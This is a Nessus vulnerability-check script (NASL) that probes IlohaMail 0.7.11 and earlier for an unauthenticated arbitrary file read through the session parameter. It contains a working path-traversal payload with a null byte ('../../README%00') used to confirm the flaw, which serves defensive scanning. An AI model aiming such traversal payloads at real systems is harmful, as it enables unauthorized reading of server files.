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#
# This script was written by George A. Theall, <theall@tifaware.com>.
#
# See the Nessus Scripts License for details.
#
if (description) {
script_id(14631);
script_version("$Revision: 1.1 $");
# script_cve_id("CVE-MAP-NOMATCH");
# NOTE: no CVE id assigned (gat, 09/2004)
if (defined_func("script_xref")) {
script_xref(name:"OSVDB", value:"7335");
}
name["english"] = "IlohaMail Arbitrary File Access via Session Variable Vulnerability";
script_name(english:name["english"]);
desc["english"] = "
The target is running at least one instance of IlohaMail version
0.7.11 or earlier. Such versions contain a flaw in the processing of
the session variable that allows an unauthenticated attacker to
retrieve arbitrary files available to the web user, provided the
filesystem backend is in use.
Solution : Upgrade to IlohaMail version 0.7.12 or later.
Risk factor : Medium";
script_description(english:desc["english"]);
summary["english"] = "Checks for Arbitrary File Access via Session Variable vulnerability in IlohaMail";
script_summary(english:summary["english"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2004 George A. Theall");
family["english"] = "Remote file access";
script_family(english:family["english"]);
script_dependencie("global_settings.nasl", "ilohamail_detect.nasl");
script_require_ports("Services/www", 80);
exit(0);
}
include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");
# Specify the file to grab from target, relative to IlohaMail/sessions
# directory.
#
# nb: ../../README exists in each version I've seen.
file = "../../README";
host = get_host_name();
port = get_http_port(default:80);
if (debug_level) display("debug: searching for IlohaMail Arbitrary File Access via Session Variable vulnerability on ", host, ":", port, ".\n");
if (!get_port_state(port)) exit(0);
# Check each installed instance, stopping if we find a vulnerable version.
installs = get_kb_list(string("www/", port, "/ilohamail"));
if (isnull(installs)) exit(0);
foreach install (installs) {
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
ver = matches[1];
dir = matches[2];
if (debug_level) display("debug: checking version ", ver, " under ", dir, ".\n");
# Try to exploit the vulnerability.
#
# nb: the hole exists because session_auth.FS.inc trusts
# the session variable when calling include_once() to
# validate the session.
url = string(dir, "/index.php?session=", file, "%00");
if (debug_level) display("debug: retrieving ", url, "...\n");
req = http_get(item:url, port:port);
res = http_keepalive_send_recv(port:port, data:req);
if (res == NULL) exit(0); # can't connect
if (debug_level) display("debug: res =>>", res, "<<\n");
# nb: if successful, file contents will appear after the closing
# HEAD tag; otherwise, there will be a message about a session
# timeout. Regardless, we only need check the first 5 lines or so.
lines = split(res);
nlines = max_index(lines) - 1;
for (i = 0; i <= nlines; i++) {
if (lines[i] =~ "</HEAD>") {
next = lines[i+1];
if (debug_level) display("debug: next=>>", next, "<<\n");
if (next !~ "Session timeout") {
security_warning(port);
exit(0);
}
# nb: no need to check any further.
break;
}
}
}
}
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